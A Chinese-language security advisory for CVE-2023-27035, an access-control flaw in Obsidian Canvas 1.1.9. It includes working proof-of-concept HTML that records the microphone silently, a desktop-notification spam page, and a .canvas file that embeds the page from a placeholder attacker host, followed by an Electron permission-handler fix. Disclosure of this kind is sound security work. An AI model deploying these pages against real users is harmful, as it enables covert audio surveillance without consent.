CVE-2023-27035

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

漏洞类型：

不正确的访问控制

描述：

Obsidian Canvas 1.1.9 中发现的一个问题允许远程攻击者通过画布页面上的嵌入网站发送桌面通知、录制用户音频以及其他未明确说明的影响。

影响：

恶意嵌入网站可以在未经用户许可和不知情的情况下访问 Obsidian 应用程序中的敏感 Web API。例如，它们可以在用户不知情或未明确授予权限的情况下，静默录制用户的麦克风或代表 Obsidian 应用程序发送桌面通知。

此问题的根本原因在于应用程序缺少会话权限请求处理程序。

受影响产品：

Obsidian（Canvas 功能）

受影响版本：

1.1.9 < 1.1.14

复现步骤：

创建并托管包含以下内容的 HTML 文件（该页面将录制 5 秒的麦克风音频，然后播放）。

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>确保你的麦克风未静音。</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>

创建一个空白画布，点击“添加网页”，插入指向 poc1.html 的链接，或者创建以下 .canvas 文件（url 参数指向我们服务器上的页面）：

{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://ATTACKER/files/poc1.html"}],
	"edges":[]
}

在 Obsidian 中打开画布文件。录制将立即开始，5 秒后播放录音。

通知 PoC：

<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: '通知示例。'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>

缓解措施：

实现 Electron 会话权限请求处理程序，以处理来自嵌入页面的权限请求。对 Web API 的访问必须由用户明确授予，或者默认拒绝。

参考资料：

CVE-2023-27035

最受欢迎

CVE-2023-27035